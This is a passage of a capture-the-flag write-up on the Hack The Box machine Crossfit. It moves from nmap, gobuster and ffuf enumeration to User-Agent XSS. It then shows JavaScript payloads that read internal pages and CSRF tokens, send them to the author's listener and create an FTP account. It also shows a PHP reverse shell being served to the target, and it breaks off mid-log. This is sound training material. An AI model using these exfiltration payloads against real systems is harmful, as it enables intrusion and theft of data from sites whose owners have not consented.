Links

HTB - Crossfit

Zweilosec's write-up on the insane-difficulty Linux machine from https://hackthebox.eu

Overview

This Insane-difficulty machine from Hack The Box took far longer to root than I would have liked, mostly due to getting hung up on the the final exploit. I took a break from it, after getting the user.txt, due to frustration and wanting to make progress elsewhere. This machine challenged me in a number of areas, from creative enumeration methods, to code and binary analysis, to "exploit" writing in a foreign language (JavaScript and C!). After taking a break for a few months, I came back with a fresh perspective and was able to quickly discover the errors I had been making. (Along with fresh patience with the quick-clean script the authors used!). A script to automate all of the moving pieces of the final exploit solved my issues and I was able to root the machine.

Useful Skills and Tools

Connecting to Secure FTP using lftp

$ lftp
lftp :~> set ftp:ssl-force true
lftp :~> connect $domain
lftp domain:~> login $username
NOTE: If the server is making use of self signed certificates you may need to add this as well:
lftp :~> set ssl:verify-certificate no

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.208. The options I regularly use are:
Flag
Purpose
-p-
A shortcut which tells nmap to scan all ports
-vvv
Gives very verbose output so I can see the results as they are found, and also includes some information not normally shown
-sC
Equivalent to --script=default and runs a collection of nmap enumeration scripts against the target
-sV
Does a service version scan
-oA $name
Saves all three formats (standard, greppable, and XML) of output with a filename of $name
All this time I did not know that there were more levels of verbosity, I had just been using -v to get information as it was discovered instead of waiting for the scan to finish. I will be using -vvv from now on!
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ nmap -sCV -n -p- -Pn -vvv 10.10.10.208 1 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-28 12:30 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
Initiating Connect Scan at 12:30
Scanning 10.10.10.208 [65535 ports]
Discovered open port 22/tcp on 10.10.10.208
Discovered open port 80/tcp on 10.10.10.208
Discovered open port 21/tcp on 10.10.10.208
Completed Connect Scan at 12:30, 32.81s elapsed (65535 total ports)
Initiating Service scan at 12:30
Scanning 3 services on 10.10.10.208
Completed Service scan at 12:30, 11.19s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.208.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 3.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.44s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
Nmap scan report for 10.10.10.208
Host is up, received user-set (0.061s latency).
Scanned at 2020-12-28 12:30:02 EST for 48s
Not shown: 65532 closed ports
Reason: 65532 conn-refused
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/[email protected]
| Issuer: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/[email protected]
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-30T19:16:46
| Not valid after: 3991-08-16T19:16:46
| MD5: 557c 36e4 424b 381e eb17 708a 6138 bd0f
| SHA-1: 25ec d2fe 6c9d 7704 ec7d d792 8767 4bc3 8d0e cbce
| -----BEGIN CERTIFICATE-----
| MIID0TCCArmgAwIBAgIUFlxL1ZITpUBfx69st7fRkJcsNI8wDQYJKoZIhvcNAQEL
| BQAwdzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAk5ZMRcwFQYDVQQKDA5Dcm9zcyBG
| aXQgTHRkLjEXMBUGA1UEAwwOKi5jcm9zc2ZpdC5odGIxKTAnBgkqhkiG9w0BCQEW
| GmluZm9AZ3ltLWNsdWIuY3Jvc3NmaXQuaHRiMCAXDTIwMDQzMDE5MTY0NloYDzM5
| OTEwODE2MTkxNjQ2WjB3MQswCQYDVQQGEwJVUzELMAkGA1UECAwCTlkxFzAVBgNV
| BAoMDkNyb3NzIEZpdCBMdGQuMRcwFQYDVQQDDA4qLmNyb3NzZml0Lmh0YjEpMCcG
| CSqGSIb3DQEJARYaaW5mb0BneW0tY2x1Yi5jcm9zc2ZpdC5odGIwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDgibxJvtPny7Vee6M0BFBPFBohEQ+0zLDq
| LdkW/OSl4tfEdZYn6U5cNYKTyYJ8CuytGlMpFw5OgOBPATtBYoGrQZdlN+7LQwF+
| CZsedPs30ijAhygI7pM5S0hwiqdVReR/hhFHD/zry3M5+9NGeDLPgLbQG8qgPspv
| Y+ErCXXotxVI+VrTPfGkjPixfgUTYsEetrkmXlig0S2ukxmNs7HXkjli4Z+qpGrn
| mpFQokBE6RlD6VjxPzx0pfgK587s7F0/pIfXTHGfIOMnqXuLKBXsYIAEjJQxlLUt
| U3lb7aZdqIZnvhTuzuOxFUIe5dRWyfERyODEd5WUlwsbY4Qo2HhZAgMBAAGjUzBR
| MB0GA1UdDgQWBBTG3S2NuuXiSQ4dRvDnLqiWQdvY7jAfBgNVHSMEGDAWgBTG3S2N
| uuXiSQ4dRvDnLqiWQdvY7jAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
| A4IBAQB/tGKHZ9oXsqLGGW0wRRgCZj2adl1sq3S69e9R4yVQW7zU2Sw38CAA/O07
| MEgbqrzUI0c/T+Wb1D+gRamCUxSB7FXfMzGRhwUqMsLp8uGNlxyDcMU34ecRwOil
| r4jLmfeGyok1r8CFHg8Om1TeZfzNeVtkAkqf3XoIxbKQk4s779n/84FAtLkZNqyb
| cSv8nnClQQSlf42P3AiRBbwM1Cx9SyKq977sIwOzKTOM4NcSivNdtov+Pc0z+T9I
| 95SsqLKtO/8T0h6hgY6JQG1+A4ivnlZ8nqSFWYsnX10lJN2URlAwXUYuTw0vCMy+
| Xk0OmbR/oG052H02ZsmfJQhqPNF1
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b0:e7:5f:5f:7e:5a:4f:e8:e4:cf:f1:98:01:cb:3f:52 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCptno1XfLYf/kqcp6gzw/aP/qsmcpgjmJMckOswoHnQdrHb4NdPVNUX2pXPfHOz3it3uO85dLnInCGL1eYrtp0TAGAbxWZqGHtfzTTDqfOlPVzxGrQBIUVRYCpRWmJrMOEPfGnMOFwqTWWS9lpxhGytVc7PWPrI+xbHCx8K1FoAbu/0gq4ma9E4QnVKLj+WBWdGbODYP7WDHJgPOLZrmVoFNH4Kf16MOHcU9ZkCLBFlcJDwpa1I42KA8z8Plb0nuf5Oz2KOvc8OGe2tdNPwyR5RBfI6moAUcpf4yUVZA7nwqtQI1hMTZt51tP9Vi5+vHiEwSzFNMD7wFhL5/4FqD/D
| 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLWxr9V/NOESy7Mp0R4sTB0XMbGT79jDzOSrazVbblv3cIdNSCEqaw5+YYp2177KEQ0fFKB7pir9DMKhv6WTYAk=
| 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO5alU2Zh/TEwtrokhM4tkASihaiA38IKBWk7tFRoXWR
80/tcp open http syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: Host: Cross; OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.99 seconds
The scan showed that there were only three TCP ports open, 21 - FTP, 22 - SSH, and 80 - HTTP.

Port 21 - FTP

My first target was any potential low-hanging fruit that may have been accessed through FTP.
21/tcp open ftp syn-ack vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/[email protected]
| Issuer: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/[email protected]
In my nmap output for port 21 I found two hostnames, crossfit.htb and gym-club.crossfit.htb, which I added to my /etc/hosts/ file.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ ftp crossfit.htb
Connected to crossfit.htb.
220 Cross Fit Ltd. FTP Server
Name (crossfit.htb:zweilos): Anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
Without credentials, the first thing I check is whether or not the server accepts anonymous login. I was not able to log in to FTP using anonymous in this case.

Port 80 - HTTP

Next, I saw that there was an Apache web server being hosted on port 80. I opened my web browser and navigated to crossfit.htb to see what I could find.
crossfit.htb only led to the default apache page, meaning there was no default page configured at this address.
However, gym-club.crossfit.htb led to a CrossFit gym website.
The Wappalyzer Firefox plugin showed me the technologies that were in use on this site. I did a quick search for each of the ones that showed a version number but none led to any useable vulnerabilities.
The site included a schedule of classes. I took down the names Candy, Murph, Chelsea, and Annie as potential usernames.
The link to "Join the club" led to a "coming soon" page, but there was nothing useful there.
Since I had already found one virtual host for this IP address, as in HTB - Forwardslash I tried to do vhost enumeration using gobuster. I ran this in the background while enumerating the website.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ gobuster vhost -u http://crossfit.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://crossfit.htb
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/28 12:48:42 Starting gobuster
===============================================================
===============================================================
2020/12/28 12:58:32 Finished
===============================================================
This did not come up with anything, however. I tried with ffuf as well, but did not find any more subdomains.
On the "About-Us" page I found four more possible usernames: Becky Taylor, Noah Leonard, Evelyn Fields, and Leroy Guzman. As the Manager, Leroy seemed like the most likely target.

Cross-site Scripting (XSS)

Since there wasn't anything obvious to go by, I started doing some basic vulnerability testing on the submission boxes. The first one at /contact.php did not seem to be vulnerable to either XSS or SQL injection.
However, the second one I found at /blog-single.php gave a warning about XSS.
<div class='alert alert-danger' role='alert'>
<h4>
XSS attempt detected
</h4>
<hr>
A security report containing your IP address and browser information will be generated and our admin team will be immediately notified.
</div>
The warning claimed that browser information will be sent to the admin. I thought maybe I could smuggle something that would be executed by the admin through the "browser information": AKA User-Agent.
Using Burp I sent a request with a link to my machine in the User-Agent field. I made sure to send the same XSS attempt so this would be forwarded to the admin.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ nc -lvnp 8090
listening on [any] 8090 ...
connect to [10.10.15.98] from (UNKNOWN) [10.10.10.208] 56252
GET / HTTP/1.1
Host: 10.10.15.98:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://gym-club.crossfit.htb/security_threat/report.php
Connection: keep-alive
I received an HTTP GET request to my waiting netcat listener.
In the Referer field I saw /security_threat/report.php in the response headers, but was not able to access it. The code in this PHP file must have been what had checked the XSS request I had made, and somehow executed the <script> tags I had embedded, while creating the report for the admin.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ python3 -m http.server 8099
Serving HTTP on 0.0.0.0 port 8099 (http://0.0.0.0:8099/) ...
10.10.10.208 - - [28/Dec/2020 14:53:10] "GET /php-reverse-shell.php HTTP/1.1" 200 -
In the same spirit I tried to get the admin to download a PHP reverse shell from me, but I couldn't find where it had been uploaded nor figure out how to execute it.
Origin Header with Access-Control-Allow-Origin response header

ftp.crossfit.htb

I was familiar with fuzzing for vhosts as well as directories and files, but fuzzing for a response in a header was something new. I did some research on more advanced uses of ffuf and found a few interesting articles.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ ffuf -t 25 -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr 'Allow-Origin'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.1
________________________________________________
:: Method : GET
:: URL : http://10.10.10.208
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Origin: http://FUZZ.crossfit.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 25
:: Matcher : Regexp: Allow-Origin
________________________________________________
ftp [Status: 200, Size: 10701, Words: 3427, Lines: 369]
[WARN] Caught keyboard interrupt (Ctrl-C)
With the information from these articles I was able to craft a set of parameters to fuzz the Origin header. In order to do this I needed to use the -H flag to include the custom header selection, as well as use the -mr flag to match using a custom regular expression.

Match on Regular Expression

In some cases, however, you may be fuzzing for more complex bugs and want to filter based on a regular expression. For example, if you’re filtering for a path traversal bug you may wish to pass a value of -mr "root:" to FFUF to only identify successful responses that indicate a successful retreival of /etc/passwd.
I knew if the response from the server included the words "Allow-Origin" that it was a valid request using the specified Origin header. Using this information, I was able to find another virtual host: ftp.crossfit.htb.
However, loading up this URL in my browser just led to another default Apache page. Next, I decided to see if I could use the same Cross Origin Request Forgery to get the headers of the internal page to see if there was a different view from the proper origin.

Cross Origin Request Forgery with JavaScript

TODO: add screenshot of sending request with this payload in Burp
Since the <script> tag that triggered the cross-site scripting exploit was using JavaScript (alert()), I decided that was the best language to write a payload in to try to get the server to access the page I wanted for me. I did a bit of research and found an easy way to make HTTP requests using JavaScript.
//test.js
//testing access to ftp.crossfit.htb
//
var test = "http://ftp.crossfit.htb/";
var request1 = new XMLHttpRequest();
request1.open('GET', test, false);
request1.send()
var response1 = request1.responseText;
//send response1 to my waiting python http.server
var request2 = new XMLHttpRequest();
request2.open('GET', 'http://10.10.14.161:8090/' + response1, true);
request2.send()
I wrote a JavaScript payload to reach out to the ftp.crossfit.htb site then send the response back to my waiting Python HTTP server. I used this instead of netcat so the server would stay active and I wouldn't have to restart it each time the server closed the connection.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ python3 -m http.server 8090
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
10.10.10.208 - - [15/Jan/2021 18:21:03] "GET /test.js HTTP/1.1" 200 -
10.10.10.208 - - [15/Jan/2021 18:24:34] "GET /test.js HTTP/1.1" 200 -
10.10.10.208 - - [15/Jan/2021 18:28:05] "GET /test.js HTTP/1.1" 200 -
10.10.10.208 - - [15/Jan/2021 18:28:05] code 404, message File not found
10.10.10.208 - - [15/Jan/2021 18:28:05] "GET /%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%20%20%20%20%3Ctitle%3EFTP%20Hosting%20-%20Account%20Management%3C/title%3E%20%20%20%20%3Clink%20href=%22https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css%22%20rel=%22stylesheet%22%3E%3C/head%3E%3Cbody%3E%3Cbr%3E%3Cdiv%20class=%22container%22%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22row%22%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22col-lg-12%20margin-tb%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22pull-left%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch2%3EFTP%20Hosting%20-%20Account%20Management%3C/h2%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22pull-right%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20class=%22btn%20btn-success%22%20href=%22http://ftp.crossfit.htb/accounts/create%22%3E%20Create%20New%20Account%3C/a%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3Ctable%20class=%22table%20table-bordered%22%3E%20%20%20%20%20%20%20%20%3Ctr%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3ENo%3C/th%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3EUsername%3C/th%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3ECreation%20Date%3C/th%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%20width=%22280px%22%3EAction%3C/th%3E%20%20%20%20%20%20%20%20%3C/tr%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/table%3E%20%20%20%20%3C/div%3E%3C/body%3E%3C/html%3E HTTP/1.1" 404 -
It took me a few tries, but I was able to get the server to download my script and execute it. The final response I got contained the encoded HTML for a web page.
<!DOCTYPE html>
<html>
<head>
<title>FTP Hosting - Account Management</title>
<link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css" rel="stylesheet">
</head>
<body>
<br>
<div class="container">
<div class="row">
<div class="col-lg-12 margin-tb">
<div class="pull-left">
<h2>FTP Hosting - Account Management</h2>
</div>
<div class="pull-right">
<a class="btn btn-success" href="http://ftp.crossfit.htb/accounts/create"> Create New Account</a>
</div>
</div>
</div>
<table class="table table-bordered">
<tr>
<th>No</th>
<th>Username</th>
<th>Creation Date</th>
<th width="280px">Action</th>
</tr>
</table>
</div>
</body>
</html>
After decoding the response I had the webpage at http://ftp.crossfit.htb as viewed internally. I could tell right away that this was not the same default Apache server page.
I saved the HTML code to a file and opened it in my browser. The page turned out to be an account management page for FTP. The "Create Account" button was a link to a site that sounded interesting: http://ftp.crossfit.htb/accounts/create. I modified my JavaScript payload to see what was at this page.
10.10.10.208 - - [15/Jan/2021 18:41:59] "GET /test.js HTTP/1.1" 200 -
10.10.10.208 - - [15/Jan/2021 18:41:59] code 404, message File not found
10.10.10.208 - - [15/Jan/2021 18:41:59] "GET /%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%20%20%20%20%3Ctitle%3EFTP%20Hosting%20-%20Account%20Management%3C/title%3E%20%20%20%20%3Clink%20href=%22https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css%22%20rel=%22stylesheet%22%3E%3C/head%3E%3Cbody%3E%3Cbr%3E%3Cdiv%20class=%22container%22%3E%20%20%20%20%3Cdiv%20class=%22row%22%3E%20%20%20%20%3Cdiv%20class=%22col-lg-12%20margin-tb%22%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22pull-left%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Ch2%3EAdd%20New%20Account%3C/h2%3E%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22pull-right%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20class=%22btn%20btn-primary%22%20href=%22http://ftp.crossfit.htb/accounts%22%3E%20Back%3C/a%3E%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%3C/div%3E%3C/div%3E%3Cform%20action=%22http://ftp.crossfit.htb/accounts%22%20method=%22POST%22%3E%20%20%20%20%3Cinput%20type=%22hidden%22%20name=%22_token%22%20value=%22GSlwHU3OU1s0lcF102Hku1jwvXeBtqGiAvKCjEGH%22%3E%20%20%20%20%20%3Cdiv%20class=%22row%22%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22col-xs-12%20col-sm-12%20col-md-12%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22form-group%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cstrong%3EUsername:%3C/strong%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20type=%22text%22%20name=%22username%22%20class=%22form-control%22%20placeholder=%22Username%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22col-xs-12%20col-sm-12%20col-md-12%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22form-group%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cstrong%3EPassword:%3C/strong%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20type=%22password%22%20name=%22pass%22%20class=%22form-control%22%20placeholder=%22Password%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22col-xs-12%20col-sm-12%20col-md-12%20text-center%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cbutton%20type=%22submit%22%20class=%22btn%20btn-primary%22%3ESubmit%3C/button%3E%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%3C/div%3E%3C/form%3E%3C/div%3E%3C/body%3E%3C/html%3E HTTP/1.1" 404 -
I got back a response with the encoded HTML code for the /accounts/create website.
<!DOCTYPE html>
<html><head>
<title>FTP Hosting - Account Management</title>
<link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css" rel="stylesheet">
</head>
<body>
<br>
<div class="container">
<div class="row">
<div class="col-lg-12 margin-tb">
<div class="pull-left">
<h2>Add New Account</h2>
</div>
<div class="pull-right">
<a class="btn btn-primary" href="http://ftp.crossfit.htb/accounts"> Back</a>
</div>
</div>
</div>
<form action="http://ftp.crossfit.htb/accounts" method="POST">
<input type="hidden" name="_token" value="GSlwHU3OU1s0lcF102Hku1jwvXeBtqGiAvKCjEGH">
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="form-group">
<strong>Username:</strong>
<input type="text" name="username" class="form-control" placeholder="Username">
</div>
</div>
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="form-group">
<strong>Password:</strong>
<input type="password" name="pass" class="form-control" placeholder="Password">
</div>
</div>
<div class="col-xs-12 col-sm-12 col-md-12 text-center">
<button type="submit" class="btn btn-primary">Submit</button>
</div>
</div>
</form>
</div>
</body>
</html>
With this page it looked as if I could create a new account. I would need to send a POST request to http://ftp.crossfit.htb/accounts with a username, password, and the value from the hidden field _token.
//test2.js
//testing _token retrieval
//
var test = "http://ftp.crossfit.htb/accounts/create";
var request1 = new XMLHttpRequest();
request1.open('GET', test, false);
request1.send()
var response1 = request1.responseText;
//var request2 = new XMLHttpRequest();
//send response1 to my waiting python http.server
//request2.open('GET', 'http://10.10.14.161:8090/' + response1, true);
//request2.send();
//var token = response1.getElementsByName('_token')[0].value;
var parser = new DOMParser();
var response_text = parser.parseFromString(response1, "text/html");
var token = response_text.getElementsByName('_token')[0].value;
//send _token value to my waiting python http.server
var request3 = new XMLHttpRequest();
request3.open('GET', 'http://10.10.14.161:8090/' + token, true);
request3.send();
I modified my script to retrieve the hidden _token value. At first, I tried just reading the value of the _token element out of the response, but after some troubleshooting and more reading I found that the response text wasn't being properly parsed.
Once I was able to correctly parse this from the output I was able to send my POST request to the server to create a new user. First though, I had the test script send just the token back to me so I could see that it worked.
10.10.10.208 - - [15/Jan/2021 19:37:38] "GET /test2.js HTTP/1.1" 200 -
10.10.10.208 - - [15/Jan/2021 19:37:38] code 404, message File not found
10.10.10.208 - - [15/Jan/2021 19:37:38] "GET /ObNaK9gJvibNxvnGNi26mA1IdM5PfI6BVme775Nc HTTP/1.1" 404 -
I received the reply back, this time with only the hidden _token value.
//test3.js
//send user creation request to /accounts
//
//Get the response from /accounts/create with the _token
var test = "http://ftp.crossfit.htb/accounts/create";
var request1 = new XMLHttpRequest();
request1.open('GET', test, false);
request1.withCredentials = true;
request1.send()
var response1 = request1.responseText;
//var token = response1.getElementsByName('_token')[0].value;
var parser = new DOMParser();
var response_text = parser.parseFromString(response1, "text/html");
var token = response_text.getElementsByName('_token')[0].value;
//send values of 'test' for username and password and append _token
var values = "username=test&pass=test&_token=" + token;
//send request to my waiting python http.server for troubleshooting
var request2 = new XMLHttpRequest();
request2.open('POST', 'http://10.10.14.161:8090/' + values, true);
request2.withCredentials = true;
request2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request2.send();
//send _token, username, password to /accounts
var request3 = new XMLHttpRequest();
var values = "username=test&pass=test&_token=" + token;
request3.open('POST', 'http://ftp.crossfit.htb/accounts', false);
request3.withCredentials = true;
//the server needs to know what type of content it is receiving
request3.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request3.send(values);
var response3 = request3.responseText;
//send request to my waiting python http.server with reply from account creation
var request4 = new XMLHttpRequest();
request4.open('GET', 'http://10.10.14.161:8090/' + response3, true);
request4.send();
Next, I modified my payload to actually create the new FTP user.
10.10.10.208 - - [15/Jan/2021 21:51:58] "GET /test3.js HTTP/1.1" 200 -
10.10.10.208 - - [15/Jan/2021 21:51:58] code 501, message Unsupported method ('POST')
10.10.10.208 - - [15/Jan/2021 21:51:58] "POST /username=test3&[email protected]&_token=EnEv1a4N27y3dqOO8UpAiGqpr3WuAbAUyoJ5D8at HTTP/1.1" 501 -
10.10.10.208 - - [15/Jan/2021 21:51:58] code 404, message File not found
10.10.10.208 - - [15/Jan/2021 21:51:58] "GET /%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%20%20%20%20%3Ctitle%3EFTP%20Hosting%20-%20Account%20Management%3C/title%3E%20%20%20%20%3Clink%20href=%22https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css%22%20rel=%22stylesheet%22%3E%3C/head%3E%3Cbody%3E%3Cbr%3E%3Cdiv%20class=%22container%22%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22row%22%3E%20%20%20%20%20%20%20%20%3Cdiv%20class=%22col-lg-12%20margin-tb%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22pull-left%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch2%3EFTP%20Hosting%20-%20Account%20Management%3C/h2%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22pull-right%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20class=%22btn%20btn-success%22%20href=%22http://ftp.crossfit.htb/accounts/create%22%3E%20Create%20New%20Account%3C/a%3E%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22alert%20alert-success%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cp%3EAccount%20created%20successfully.%3C/p%3E%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%3Ctable%20class=%22table%20table-bordered%22%3E%20%20%20%20%20%20%20%20%3Ctr%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3ENo%3C/th%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3EUsername%3C/th%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3ECreation%20Date%3C/th%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%20width=%22280px%22%3EAction%3C/th%3E%20%20%20%20%20%20%20%20%3C/tr%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ctr%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E1%3C/td%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3Etest3%3C/td%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E2021-01-15%2002:01:55%3C/td%3E%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cform%20action=%22http://ftp.crossfit.htb/accounts/85%22%20method=%22POST%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20class=%22btn%20btn-info%22%20href=%22http://ftp.crossfit.htb/accounts/85%22%3EShow%3C/a%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20class=%22btn%20btn-primary%22%20href=%22http://f